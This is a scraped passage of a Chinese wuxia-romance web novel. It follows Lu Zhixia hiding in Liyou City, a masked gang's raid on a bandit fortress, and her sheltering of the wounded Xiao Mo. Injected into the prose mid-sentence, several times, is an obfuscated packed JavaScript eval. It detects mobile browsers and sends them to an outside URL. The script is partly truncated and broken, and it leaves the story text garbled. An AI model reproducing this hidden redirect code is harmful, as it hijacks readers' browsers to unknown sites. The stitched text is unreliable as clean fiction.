她终究是客,不好意思住主屋,于是挑了西边那间带妆台的屋子做卧房。令她惊喜的是,她在这间陈设朴素的屋里找到一面古琴,样式虽然普通,但无聊寂寞时用来消遣足矣。 她将古琴放在桌上,抬起双手,凝神静气拨动琴弦,一首低沉质朴的琴曲悠然响起。 夕阳余晖透过窗子斜照在墙上,一曲古朴轻缓小调渐隐,陆知夏回过神已泪湿衣襟。不待她去琢磨为何流泪,腹中一阵肠鸣呱噪。她将琴收好走向厨房,先解决温饱问题要紧。 厨房里灶台厨具一应俱全,柴火也满满当当。陆知夏提着个菜篮子去集市买菜,回来自己动手做晚饭。她手头资金不宽裕,这样省吃俭用并非长久之计,还是得尽快寻一份活儿有点稳定收入才行。可她出逃在外能干些什么呢? 陆知夏一手撑腮,又望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083150|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋顶上慢慢升起的明月发呆。 * 入夜,离忧城灯火辉煌,坊间热闹喧嚣。 一处僻静巷里,几个满身酒气的军汉迈着歪斜的步子往前走,嘴里仍意犹未尽地哼着青楼里的小曲。 头顶风声呼呼而过,一双黑靴踏着几个军汉脑袋而来,直将他们踩得头晕眼花,歪斜倒地不起。剩下一名微胖军汉站在原地,看着身形如鬼魅般飘落在面前的鬼面人惊恐后退,“你是人是鬼?” 青色獠牙的鬼面忽然来到眼前,军汉脑门上都是汗,连喊叫也忘了,双腿哆嗦不停。 “你就是陈万喜吧。” 青面獠牙的鬼面下传来男子冰冷的嗓音,令人毛骨悚然。 军汉腿抖得像筛糠,站立不稳摔了一屁股。鬼面人单手抓着他衣襟将他提起来,“叫你不敢答应,是不是亏心事做多了?” 陈万喜心虚低头,不敢看面具下那双凌厉眸子。鬼面人拿一把锋利匕首拍拍他的脸,“想活命就替我办一件事。” 陈万喜满脸是汗,盯着面前锋利刀刃咽了口唾沫,颤声道:“大侠尽管吩咐,只要留小人一命,小人当牛做马都愿意。” 鬼面人冷哼一声,用黑布罩住陈万喜的头,拽着他跃上重檐。 * 子夜,离忧城远郊的回峰山顶篝火明亮。这里矗立着一座大寨子,名曰回峰寨,是离忧城一带令人闻风丧胆的山匪窝。 寨子四周筑着高高围栏,又有手执兵器的人不断巡视把守,想要强攻绝非易事。暗处的人正寻思别的计策,山林里的小道上倏然传来一阵急促马蹄声。寨子门楼上的人迅速戒备,四方弓箭手立刻瞄准远处一抹打马而来的身影。 “是我,快开门。”纵马而来的微胖军汉朝门楼上的人大喊。 一名壮汉认出来人,疑惑道:“陈校尉,你大半夜过来有何要事?” 陈万喜来到门楼下,望着上边的人大声说道:“大公子有口信,速速让我面见寨主。” 门楼上的守卫互看一眼,大晚上传口信?这种情况他们还是头一回遇到。这个时辰寨主估计已经搂着美人睡下了,谁也不敢去打扰。 见山匪不配合,陈万喜沉声道:“耽误大公子的事你们都别想活了。” 闻言,山匪们心惊,正准备让下面的人开门时,一个山匪警惕问道:“你可携了大公子的令牌?” 陈万喜从怀里摸出一道令牌亮给门楼上的人看,这才彻底打消他们的疑虑。 山寨沉重的木门缓缓升起,陈万喜手心却满是汗水。他知道附近一支利箭正瞄准自己,若他敢妄言,随时命丧黄泉。 见山寨大门打开,树林里响起互传讯息的鸟叫声。暗中埋伏之人握紧手里的兵器,待寨子大门完全洞开的那一刻立即行动。 “发什么愣?还不快点进来。”一个守门的见陈万喜坐在马上不动,不耐烦催促道。 身后不断传来拉弓声,陈万喜吓得打马狂奔入寨。他刚一走,一阵箭雨落下,寨子大门附近守卫尽数中箭倒地。四周门楼上的人也陆续中箭。幸存下来的想去通风报信,被伺机潜入的黑衣人抹了脖子。 来人谋划已久,行动迅速,回峰寨防守很快被突破,大批蒙面黑衣人闯入寨中大开杀戒。 38. 入城(中) 惨白月光下,回峰山顶一片血雨腥风,兵器相交声、惨叫声不绝于耳,直到天蒙蒙亮一切才归于平静。 双方交手伤亡惨重,但整个大匪窝仍是被这群凶残狠辣的黑衣人端了。 空地上,几个黑衣人手拿画像,对着从寨里抓出来的一众年轻女子挨个查看,最后失望叹气。 一个黑衣人抱怨道:“头儿,寨子里就这些姑娘,根本并没有陆小姐,咱们的情报会不会有误。” 领头的黑衣人沉声道:“把生擒的那几个山匪押过来审问。”话音刚落,一只利箭正中他眉心。周围人惊恐后退。 箭身纤长,箭尾红羽随风飘动,这不是支寻常的箭。 空地上的黑衣人紧握兵器盯着四周。还未发现敌人,又有数支红羽箭神不知鬼不觉地射来,而且数支箭齐发,精准无比,眨眼间空地上的黑衣人全都倒下。姑娘们抱头逃窜。场面乱作一团。 附近几个轻功不错的黑衣人趁机跃上屋檐逃走。 黯淡晨曦中,门楼上一道窈窕红影弯弓搭箭,瞧准时机迅速放箭。数箭齐发,准头惊人,对面屋檐上的黑衣人如断线风筝般下坠。 红衣飞扬,门楼上的女子吹了一声清长响哨,几十名青衣弟子冲进山寨,将残余黑衣人尽数剿灭,占领整个山寨。 清冷晨光中,三个身披黑色斗篷的高大男子从大门外走进来。为首一人面覆半截银制麒麟面具,气度不凡,正是青和帮帮主沈公子。其左侧男子也是身姿卓然,脸上一整张红色鬼面笑容和蔼却透着威严,戴着天蚕丝手套的右手握着一卷古藤鞭。右侧男子与二人相比个子略矮,整张青面獠牙的面具看上去凶残暴虐,手中三尺青锋泛着幽微寒光。 门楼上的飒爽红影也跃下,晨光照亮她脸上戴的一张白色哭泣鬼脸。四人一身肃杀之气,平静跨过脚下无数死尸向寨中聚义堂走去,身影在晨光中看去分外骇人。 红脸鬼面人扫了一眼成堆的山匪和黑衣人尸体,说道:“放出假消息让暗庄的人替我们打头阵,再来一招黄雀在后,果然省了咱们不少力气。此计可行。” 青面獠牙的鬼面人冷哼,“都是一群乌合之众,死不足惜。” 白脸鬼面女子道:“回峰寨近千名悍匪是萧大公子的人,此番暗庄折损百余名高手一无所获又得罪萧大公子,姓万的收到消息定要气死。” 沈公子道:“暗庄势力深不可测,死的这些人恐怕只是凤毛麟角。”言辞并不乐观。 红脸鬼面人道:“只要那颗棋子牢牢握在咱们手上,暗庄的人定会再次上钩。来日方长,总有办法将他们一网打尽。” 沈公子不语,银制面具下的黑眸蕴着复杂情绪。 四人入得厅来,聚义堂中已有不少弟子在候着。沈公子上座,三个鬼面人随侍身侧。红脸鬼面人命弟子们将擒获的山寨众人都押上来。 回峰寨被两拨人先后攻破,近千人的大寨如今只剩三十多个活口,大多是老弱妇孺。 沈公子支着一条腿端坐在聚义堂第一把交椅上,扫视下边跪着的一片人,冷冷道:“谁是大当家?” 话音刚落,一个魁梧的光头汉子站起来,大声道:“老子就是回峰寨大当家孙玉虎。姓沈的,你我素无冤仇,今日端我山寨有何目的?若我无意得罪了你,一人做事一人当,老子任你处置,请你放了我的兄弟和这些老弱妇孺。” “倒是有几分骨气。”沈公子抬手示意弟子给孙玉虎松绑,说道:“这些年你们回峰寨虽不敢得罪我帮,但为祸乡里,欺男霸女,作恶多端,我端了你们也算是替天行道。” 孙玉虎冷哼,“要杀便杀,何必冠冕堂皇。” “我不想死啊。” “沈公子饶命……” 孙玉虎不怕死不代表别人跟他一样,周围人一个个哭着跪拜求饶。孙玉虎其实是嘴硬,也不想死,瞧周围人的怂样有些下不来台,攥紧拳头看着沈公子。 “想活命就得将功补过。”沈公子淡淡道。 “你,你肯放过我们?”孙玉虎不喜欢跟别人绕弯子,直接问道:“如何将功补过?” 沈公子也直接道:“弃暗投明,另择良主。” 孙玉虎眉头一皱,“萧大公子对我有恩,我怎能做背信弃义之事?” “想清楚了?”沈公子平静的语气里暗含杀意。几个青衣弟子即刻将孙玉虎的家眷拖到一旁,堂上充斥着女人和孩子的哭声。 孙玉虎悲愤道:“姓沈的,老子让你杀我,你这是要做什么?难道你青和帮也干欺负女人和孩子的龌龊事?” 话音刚落,一道长鞭将孙玉虎抽倒在地,红脸鬼面人厉声道:“嘴巴放干净点!” 沈公子淡淡道:“这里没人欺负他们,他们的泪是为你而流。若你仍执迷不悟,很快他们就会变成孤儿寡母,任人宰割。即便青和帮的人放过他们,道上你的仇家会放过他们吗?” 孙玉虎看向痛哭的家眷,咬牙低头,“你要我侍奉哪位新主?” 沈公子唇角微扬,“萧家二公子,萧陌。” “你竟投靠了萧陌?”孙玉虎惊讶,“难怪大公子连番对青和帮示好你都不屑一顾。精明如你,怎会扶持萧家那弱不禁风的小白脸?” 沈公子不语。 孙玉虎暗忖,青和帮一向不做赔本买卖,沈公子此举必有十足信心。况且,能请沈公子亲自出马,这个萧二公子定也不简单。看来当初萧大公子对这个庶弟的提防不是多余的。 犹豫片刻,孙玉虎点头答应。其余人也跟着示好。 山匪都叛变了,陈万喜慌忙说道:“小人也愿为萧二公子效力,如有违背不得好死。” 沈公子指尖轻挥,白脸鬼面女子端着纸笔上来,一干人陆续在结盟书上签字画押。 沈公子命弟子们去清理寨子,起身带孙玉虎向外走去。二人站在堂外,看着周围忙碌的身影交谈。 天光大亮后,寨子里一切清理妥当。换上山匪衣服的青和帮弟子在寨里各司其职。放眼看去寨子一如往昔,平静有序,昨夜的屠杀仿佛没发生过一样。 孙玉虎看着十多辆满载大箱子的马车驶入山寨,好奇问道:“那些是什么东西?” 沈公子道:“大公子定制的兵器。我如约给他送来,你好好保管,有人来取便派人暗中跟着他们。” 孙玉虎不解,“公子究竟帮萧家哪位主子?” 沈公子唇角微扬,拍拍孙玉虎的肩说道:“昨夜发生的事不会传出去,跟了新主你仍可以好好做你的大当家,留在萧逸身边听我差遣即可。缺人缺物我的人会尽快给你补上,万不可让人看出破绽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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断刀门如今是武林六大门派之首,门主便是武林盟主闫释天。碰上武林中人陆知夏不禁局促低头,但她陆家二小姐在武林籍籍无名,外人根本不认识她。 三人在谈论最近武林发生的事,陆知夏埋头吃东西,一只耳朵不自觉竖起来偷听他们说话。忽听其中一人纳闷道:“云苍派与玄阴派不是定亲了吗?为何两家迟迟不办喜事?” “听说陆家二小姐摔伤了腿在养伤。” 陆知夏恍然,原来她摔伤了腿。伤筋动骨一百天,父亲果真会找借口拖延时间。 “刘斐那小子真是艳福不浅,变傻前身边就不缺女人,傻了还摊上这么个蕙质兰心、品貌出众的门派千金,连我都忍不住嫉妒。” 闻言,陆知夏暗暗窃喜,原来自己在江湖传言中形象如此光辉。但片刻后她又忍不住叹气,形象好有屁用,武林六大门派哪家小姐同她这般命苦?就拿闫家来说,同是一双儿女,闫大小姐受尽宠爱,要风得风,要雨得雨。就连她那娇纵任性的鼻涕虫弟弟都对她言听计从,一家人和和睦睦,令人羡慕。 陆知夏正郁闷,又听一人说道:“可我怎么听说这陆小姐野蛮无礼、粗俗不堪。刘公子到云苍派下聘,几次遭她暴打,回程途中还莫名废了一只手。我看这陆小姐命里带煞,克夫。” “啪!” 陆知夏重重放下筷子,邻桌三人吓了一跳。她暗自磨牙,刘斐自己命衰关她屁事! 满肚子火气,陆知夏食欲全无,起身结账离开。 39. 入城(下) 八月的天午后阳光刺眼,空气闷热。 街上行人不多,陆知夏一人漫无目的地行走消食。转过几条街,她来到一条高楼林立、热闹繁华的大街上。 远处一座绿柳掩映、风雅华丽的小楼前站着许多人,男男女女衣饰鲜亮,大热天挤在一起兴奋地翘首仰望,似在等待着什么。陆知夏一时好奇,悠闲地摇着手中折扇也上前凑热闹。 小楼大门前立着数名神情严肃的带刀护卫,门内一道宽大的山水座屏阻挡门外一切窥伺目光,看起来此处并非一般的休闲娱乐之所,倒像是别人的私宅。陆知夏带着疑惑仰头,门上匾额书着“云梦居”三个鎏金秀雅大字。 她眼前一亮,原来这里就是云梦居啊。之前她只听倾月简单提起过,如今一见果真清新雅致。想必它的主人也是文人雅士。 陆知夏不解,既然这儿外人不能随意进入,那这群人顶着烈日围在云梦居外作甚?她正要向身边一名青衫公子打听,远处忽传来一阵悦耳清脆的铃音。 “萧二公子来了!” 人群里有人激动大喊,所有人跟着欣喜望去,推搡着又开始往前挤。尤其是那些打扮得花枝招展的姑娘,一个个都想站最前排,场面一时有些混乱。 陆知夏不明所以立在原地,人都挤到前面去了,看起来反而像她主动后退与那些人拉开距离。 陆知夏眨巴着眼睛,这种场面她以前见过,陆子辰从女弟子练武场经过时就是这样。她至今无法理解这种狂热盲目的行为,只觉有趣好笑,抱着手臂闲闲站在一旁等着看来的是哪家英俊公子。 不久,一辆富丽堂皇的宽大马车缓缓朝云梦居驶来。这时云梦居里也走出十个容貌端庄、衣饰光鲜的姑娘。陆知夏望去,领头一名容貌出众的姑娘正是此前在来离忧城途中遇到的紫衣美人紫菱。今日的她虽仍是一身浅紫色,但服饰华美,装扮艳丽,颇有官家小姐气质。 围观人群里的男子也往前挤,大声呼喊着心仪姑娘的名字,都想搏美人一顾。但在场姑娘们的目光全都集中在渐渐靠近的马车上。叫得最凶的也是围观的姑娘。 “萧二公子!” “陌郎!” 马车将近,狂热的呼声不绝于耳。护卫全部上前拦着激动扑上来的姑娘,撵她们后退让道。 陆知夏站在后边视线更佳又凉快,越发不明白那些人疯狂冲上去的意义。 “退后!” 护卫们逼不得已拔刀,行将失控的人群这才收敛,悻悻往后退。 马车终于顺利来到云梦居前。紫菱携一众姑娘跪拜行礼:“恭迎公子大驾。” 车停稳,驾车的冷峻黑衣侍卫下车放好小凳。帘子微动,挑开帘子先出来的是一名眉眼细长温和的白衣侍从。他扫视人群,确认没有危险后下车撑着帘子。 少顷,一名墨发披肩玉簪半束的紫衣公子倾身而出。他身上衣饰简单朴素,但抬头瞬间整个人竟似笼罩在一层柔光中。 俊美公子笑意谦和,气质沉稳清雅如兰,如玉雕琢而成的立体五官端正精致,柔美又不失阳刚。见之一面,令人如沐冬日暖阳又似感受夏日清风。 人群一时安静下来,姑娘们都陶醉在他的美貌中,时间仿佛静止了。 萧二公子缓步下车,大而有神的双眸微微含笑,目光温柔迷离。扫过众人一刹,如清泉击在石上,动人心魄又沁人心脾。 陆知夏也被那美玉般温润清朗的身影深深吸引,回过神来时才觉脸颊微热。原来这就是离忧城主的二儿子萧陌啊,果然如传闻里那般倾城无双。 安静片刻,人群又开始骚动起来。姑娘们激动的尖叫声震耳欲聋。个个挥动双手,盼着能引起萧陌一丝注意。 陆知夏回过神捂住耳朵,逃也似地走开。视线被街上一处卖糖人的小摊吸引,她面上一喜,咂嘴走过去。 萧陌从小习惯了这样被人疯狂围观的场面,笑容始终谦和镇定。人群后一道背离远去的身影令他微怔,但很快又恢复平和,抬步往云梦居里走去。 糖人有些贵,陆知夏不舍得买,转头跑到另一处小摊前把玩稀奇古怪的玩意儿。云梦居那边始终喧闹,门外转眼又来了许多华丽马车,陆知夏好奇问摊主:“云梦居今日为何如此热闹?” 摊主听出他是外乡人,笑道:“云梦居每月十五都会举办一次诗会,邀名人雅士前来听琴,赋诗作画。” 陆知夏看了一眼还在热情呼喊的人群,他们又没被邀请,大热天站在这里许久真是好神气。 “夏蝉。” 右肩被人从后边猛地一拍,陆知夏转头惊魂未定地看着不知从哪儿冒出来的倾月。倾月指着她唇上一抹短须说道:“几日不见,你怎么长胡子了?” 陆知夏凑过去以扇掩唇,小声道:“假的。” “真有趣。”倾月伸手就往陆知夏脸上摸。陆知夏赶紧拍开她的手。眼下他们男女有别,此举过于暧昧,容易引人注目。 倾月识趣收回手,笑眯眯问道:“你是来看我的吗?” 陆知夏是误打误撞来到云梦居,但直说又怕伤倾月的心,于是淡淡点头。 倾月心花怒放,抱着她手臂说道:“来得早不如来得巧,我带你进去看诗会吧,云梦居的诗会一般人想看都看不到呢。” “多谢。但我对那些文绉绉的东西不感兴趣。”陆知夏其实想看,但她出逃在外宜低调,这种盛会还是少沾边为妙。 倾月不知陆知夏的担忧,诱惑道:“对诗画不感兴趣,对人也不感兴趣吗?今日来的都是风度翩翩、潇洒倜傥的贵公子,你就不想去饱饱眼福?” 闻言,摊主立刻用奇怪的眼神看着陆知夏。 陆知夏擦汗,倾月这丫头说话从来不看场合吗?她逃也似地往街上走去,倾月撇嘴追了上去。 * 二人漫无目的走在街上,倾月像只叽叽喳喳的麻雀话没停过。陆知夏偶尔答几句,虽然耳朵有些受罪,但有人在身边陪着令她这些日子的孤独感消减不少。 天气闷热,倾月感到口干舌燥,请陆知夏到附近一家余兴茶楼喝茶。 茶楼环境清雅,琴音悠扬。楼上楼下坐满了人,只余柜台附近一处空桌。二人走过去坐下,点了些茶水点心。 陆知夏一边喝茶,一边听琴。循着琴声望去,厅中有一四方小台,两边被绘着松柏的轻纱折屏遮住视线,正面卷帘低垂,隐约可见一名十指纤长的男子坐在帘后抚琴。 一声叹息拉回陆知夏的注意力。 柜台旁,掌柜同伙计诉苦:“如今想找个好琴师太难了!赵公子一走,我这茶楼的生意肯定跟着受影响。” 伙计惊诧道:“赵公子弹得好好的为何要走?” 掌柜道:“他说要回乡探亲,但我听说京城的翠华楼在广纳琴师,待遇优厚,我猜他定是为自己某好了后路,咱们这种小店人家看不上咯。” 伙计摇头叹息,“想当年他初来乍到,一贫如洗,若不是您收留,他早就饿死街头了,哪能有如今这般造化。真是有口奶吃忘了娘,忘恩负义。” 掌柜叹了口气,良久没有说话。人往高处走,水往低处流,世事皆是如此。或许这样的人他见多了,一番牢骚过后便去忙自己的。 陆知夏听着方才他们的话,不由萌生一个念头。 “小夏,你和吴老伯如今住在哪儿?”倾月的话拉回陆知夏思绪。 陆知夏道:“我和吴老伯入城后就分开了,我暂时住在亲戚家里。” “吴老伯不是你的亲人?”倾月略显惊讶。 陆知夏摇头。 倾月道:“听说下月中秋城里会放烟火,到时候咱们一起去看好不好?” 陆知夏出逃在外不敢轻易答应别人任何事,淡淡道:“若那时我还在城里,咱们就一起去。” 闻言,倾月还是很开心。陆知夏一边喝茶一边回忆从前在云炀城看过的盛大烟火,至今印象深刻,不知离忧城的烟火又会是怎样一幅盛景。 结账时,陆知夏借机同掌柜说道:“听说贵店需要琴师,在下恰好学过几年琴,不知可否自荐?” 倾月一怔,刚要张口被掌柜抢先一步,“公子奏上一曲如何?” 陆知夏爽快答应。很少人知道她会弹琴,因为她曾答应教她弹琴的姑姑不可到处卖弄。如今生活所迫,自己又掩藏身份,姑姑知道应该会体恤她的不易吧。 倾月凑到陆知夏耳边,小声说道:“云梦居也缺琴师,工钱丰厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆知夏意识到方才的话有些重,好声道:“放心,我又不是第一天出来混,自有我的打算。” 倾月叹了一口气,“行吧,等哪天你想赚大钱了记得来找我。” 陆知夏好笑地看着她,这话说得好像她是哪家商贾千金似的。 二人逛到傍晚分别。倾月向陆知夏打听住处,方便日后寻她。但陆知夏不肯透露,只道有事去茶楼找她即可。 二人分开后,陆知夏摇着扇子悠闲往回走。今日她粗略熟悉了一圈城里的环境,还找到了活儿,算是收获颇丰。城里没有寻找她的人,离忧城暂时还是安全的。 走到天黑也没到家,陆知夏发现自己又迷了路。腹中饥饿,她在路边小食摊坐下。 摊主是个驼背的老婆婆,热情招呼道:“公子想吃什么?” 陆知夏看着面前这位慈祥的老婆婆不由想起桂嬷嬷,心中不由一酸。她招呼不打一声就逃出来,桂嬷嬷一定很担心,不知如今她过得好不好? 陆知夏道:“给我来一碗馄饨就好。” 不久,老婆婆将馄饨端过来,碗里还多了两个荷包蛋。老婆婆笑道:“听公子口音不是本地人,这荷包蛋是我送你的,放心吃吧。” “谢谢婆婆。”陆知夏心里一暖,拿起筷子细细品尝。 小摊陆续来了许多食客,老婆婆开始忙碌起来。陆知夏吃完放下几枚铜钱便离开。 入夜的街头比白日热闹。拥挤的人潮中别人三两成行,陆知夏孤身一人。当看到别人一家三口有说有笑从身边经过时,她胸中憋闷,眼眶也微微泛酸。 若是没有姜氏母子的出现,他们一家三口如今也会是如此幸福美满吧。 街上灯火璀璨,陆知夏的眼泪却摇摇欲坠。她害怕被人瞧见自己脆弱的样子,独自往清冷小巷里走去。 她前脚刚离开,街道上便传来急促敲锣声。转眼一队骑兵吆喝着驱赶街上百姓,行人四散。 城里有大事发生,宵禁又提前两个时辰。商铺歇业关门,百姓纷纷往家赶,原本繁华热闹的街头不到一盏茶功夫便空空荡荡,灯火寥落。 40. 行善(上) 穿过一条黑暗悠长的巷子,陆知夏来到一条僻静的路上。 附近隐约有打斗声,陆知夏停住脚步,仔细辨认声音来源。身后传来奔跑声,她刚回头,一道紫色身影擦身而过,后边几个手执利刃的蒙面人紧追而来。 惊慌失措中,陆知夏只好使出一招江湖绝学,抱头蹲在地上哭嚎:“好汉饶命啊!” 蒙面人的目标不是陆知夏,看也不看她一眼,紧追着前面那道紫色身影而去。 陆知夏抹了把汗站起来。看来离忧城果真不太平。她赶紧加快脚步回住处。 七拐八拐后,陆知夏终于找对回去的路。小院附近一带黑灯瞎火,她站在大门前借着月光开锁。不知为何,她忽然感觉背后有双眼睛在盯着她,不由惊出一身冷汗。 锁总算开了,陆知夏慌张推门进去。后背忽然被人猛推一把,她趔趄着向前俯冲,快栽跟头时,一只微凉的大手拉住她一条胳膊往后拉。 院门被人关上,陆知夏也被一个身材修长的男子捂住嘴困在身前。她心想这回完了,想求饶也发不出声音,若不幸被杀就死得太冤了。 她抓着他的袖子,使劲拉扯。不知为何,这身紫色袍子令她感到一丝眼熟。 “别出声,我不会伤害你的。” 温润清朗的声音令陆知夏放松不少。她闻到一股血腥味儿,困着她的人气息也有些紊乱,似乎伤得不轻。 门外有人走近,男子指尖轻颤,气息更乱。陆知夏指了指墙角一堆杂物,男子会意,松开她走到杂物堆里藏起来。 不久,门“砰”的一声被人踢开。 三个蒙面人闯入小院,他们顺着血迹追踪到此,怀疑要找的人就躲在这里。 迎面泼来一盆血水,三个蒙面人跳着躲开。只见一个神情凶悍的年轻男子拿着把沾血的菜刀指着他们大骂:“老子的门很贵的,踢坏你们赔得起吗?不要以为你们拿着刀老子就怕你们,老子也有刀,来啊!看谁先砍死谁!” 言罢,年轻男子瞪大双眼挥舞着手里的菜刀朝三个蒙面人冲过来。 三个蒙面人见地上躺着一只还没来得及拔毛的死鸡,心想可能是场误会,无意节外生枝,灰溜溜跑出院子。 陆知夏赶紧将院门关上,惊魂未定地拍拍胸口。回到院里,她心痛地看着地上的死鸡,这是王掌柜前天过来看望她时送的,她舍不得吃想养肥些留到中秋,如今却为了掩护一个来历不明的人给提前杀了。 陆知夏叹气。但杀都杀了,趁还鲜活,她赶紧将鸡拿进厨房烧水拔毛。忙到一半她才想起院里还躲着个人,即刻洗手向外走去。 陆知夏朝杂物堆唤了几声也不见动静,上前一看,紫衣男子靠着墙紧闭双眼,皎洁的月光落在他精致如玉的眉眼上散着柔和光晕。她愣在原地,这人白天她刚见过,不就是萧二公子吗? “喂,萧二公子,快醒醒。”陆知夏推了推毫无反应的萧陌。 萧陌身上有了一丝反应,微微睁眼。 面前一双灵动清澈的杏眸映入眼帘,萧陌微怔,目光很快又被面前男子嘴上歪斜的短须吸引,唇角轻扬,“谢谢。” 人尚有意识,陆知夏松了口气,摆出一副高冷姿态说道:“那些人走了,你也快走吧,我这里不留生人。” 对方语气不善,萧陌也无意逗留,一手捂着小腹撑墙站起来。鲜血又从他指缝渗出许多,紫色衣衫腰间一片湿红。 陆知夏知道萧陌伤得不轻却无动于衷。萧陌这种贵公子的仇家一定不好对付,救他等于把自己也置于险境。她想起沈公子的告诫,暗暗劝自己不能心软。 大门方向传来一声闷响,萧陌倒在地上没了动静。陆知夏一手捂脸,她最担心的事还是发生了! 即便如此,她仍是狠下心将萧陌拖出门。他是城里的风云人物,她不想和他扯上任何关系。 萧陌个子不算太高,身材也匀称,但陆知夏手脚并用才拖了他一截路已累得气喘吁吁。她实在走不动了,正好四下无人,她把萧陌随手仍在地上转头就走。 “谁在那里?” 一个打更的老伯正巧路过,手里的灯笼往陆知夏这边照来。 陆知夏大惊之下后退,眼看打更老伯提着灯笼走过来,心想,万一被误会成杀人犯麻烦就大了! 急中生智,她扶萧陌靠墙坐起来,用他的衣袍遮住血迹,食指猛戳他脑门,大声道:“让你别喝那么多你偏喝,现在醉得跟滩烂泥一样,可把我累坏了。” 闻言,老伯松了口气,地上的原来是醉汉。他好心上前道:“小兄弟,要不要我帮忙?” 陆知夏将萧陌的脸转向暗处,笑着摆手,“不必麻烦,我们家就在附近,家兄喝多了,让他在这里吹吹风缓一缓,一会儿他自己走。” 老伯道:“今夜城里不安全,不要在外边停留,赶紧回家。” 陆知夏连连点头,目送老伯离开。 老伯走远后,陆知夏起身叉腰,看着萧陌犯愁。方才她鬼鬼祟祟被人看到,若是扔下萧陌离开,万一他死了,官府查起来,她肯定是头号嫌犯。万一他没死,醒来知道自己被随手扔在街上也会恼羞成怒来找她麻烦。 一时间,陆知夏进退两难。权衡再三后,她又把萧陌拖回小院。左右都是麻烦,不如做个好人,权当行善积德吧。 陆知夏把萧陌拖进东边空房,收拾妥当后扒了他外袍往床上放。 萧陌腹部的伤口还在渗血,雪白中衣下半截沾满鲜血。这伤搁着不管他还是死路一条,必须尽快找大夫替他医治。陆知夏去厨房抠了些锅灰过来往萧陌脸上抹,转身出门找大夫。 城里宵禁,陆知夏小心翼翼来到附近李大夫家拍门。李大夫是王掌柜的熟人,王掌柜说她有需要可以去找他。 * 东屋亮着灯,李大夫在屋里为萧陌治伤,陆知夏在门外等候。 半个时辰后,李大夫从屋里出来。他没问什么,叮嘱陆知夏几句便离开,连诊金也不收。陆知夏感叹自己又遇到了好人。 她端着一盆清水进屋,萧陌仍闭眼躺在床上,一动不动。李大夫说他伤得不重,只是失血过多昏迷,需要静卧休养几日。 人死不了就好,陆知夏松了一口气。 她拧干帕子坐到床前,本想给萧陌擦脸,但一看到他精赤的上身她就脸红转身。余光瞥见床头李大夫留下的药和纱布,她又开始犯愁。男女授受不亲,往后还得每日定时给他换药,这可如何是好? 夜已深,她累得没心思想太多,先熬过今日再说。她厚着脸皮给萧陌擦脸穿衣,料理好一切回房倒头就睡。 * 翌日。 萧二公子在云梦居诗会上遇刺一事传遍离忧城大街小巷,百姓们私下都在议论此事。 如今离忧城主膝下仅剩二子,嫡长子萧逸与庶出的二儿子萧陌。萧逸性情暴虐,时常欺压百姓,连手足也不放过。萧陌虽性情温和、淡泊名利,却也时常受他欺凌辱骂。这几年萧逸被外调,昨日刚回城萧陌就遇刺,人人都怀疑此事与他脱不了干系。 时近正午,大街上空空荡荡,今日城中仍在戒严,士兵挨家挨户搜查刺客和寻找萧二公子,但一夜过去仍没有任何线索。 城北宽大的解忧街上,两骑一前一后纵马飞驰。 为首之人一身黑色软甲,金冠束发,狭长的眉眼间尽是阴戾之气,街上士兵见了纷纷礼让。此人正是萧大公子萧逸。五年前的加冠礼上,萧城主便将离忧城一半军权交由他掌管,所有人都笃定他将会继任城主之位。然而,过去五年发生太多变故,萧逸名声一落千丈,军权也一点点被收回,事情逐渐朝着另一个方向发展。他也开始不断忧虑。 庄严肃穆的城主府前设着哨卡,士兵往来巡视。二人下马步行。 士兵收走二人兵器后搜身,确认没有私藏利器后让二人入府。 大门外一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083153|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名府兵正焦急等待,见二人走来急声道:“大公子总算来了,城主等得不耐烦了。” 萧逸冷嗤道:“一个庶子失踪就把他急成这样,真是老不中用了。” 身后亲卫小声提醒道:“此处是城主府,公子慎言。” 萧逸冷哼一声,随府兵入府。 书房里,年过半百的萧城主披衣坐在案前,沧桑的脸上尽显病容,眼底蕴着怒火,神情已是不耐。 府兵带人进来。萧城主看也不看便拿起手边的东西朝来人仍去。 萧逸进门便见一个黑乎乎的东西朝自己飞来,迅速闪身躲避。东西落在地上,发出一声刺耳脆响。萧逸低头一看,砸向他的居然是一方砚台! 他暗暗攥紧拳头,方才若不是他及时躲开,被此物砸中脑袋不死也伤。怒上眉梢,他没好气道:“两年不见,父亲今日朝我发什么火?” 萧城主指着大儿子厉声道:“老实交代,陌儿这次遇刺失踪和你有没有关系?他人现在何处?” 虽是问话,但萧城主的语气显然笃定萧逸和这件事脱不了干系。 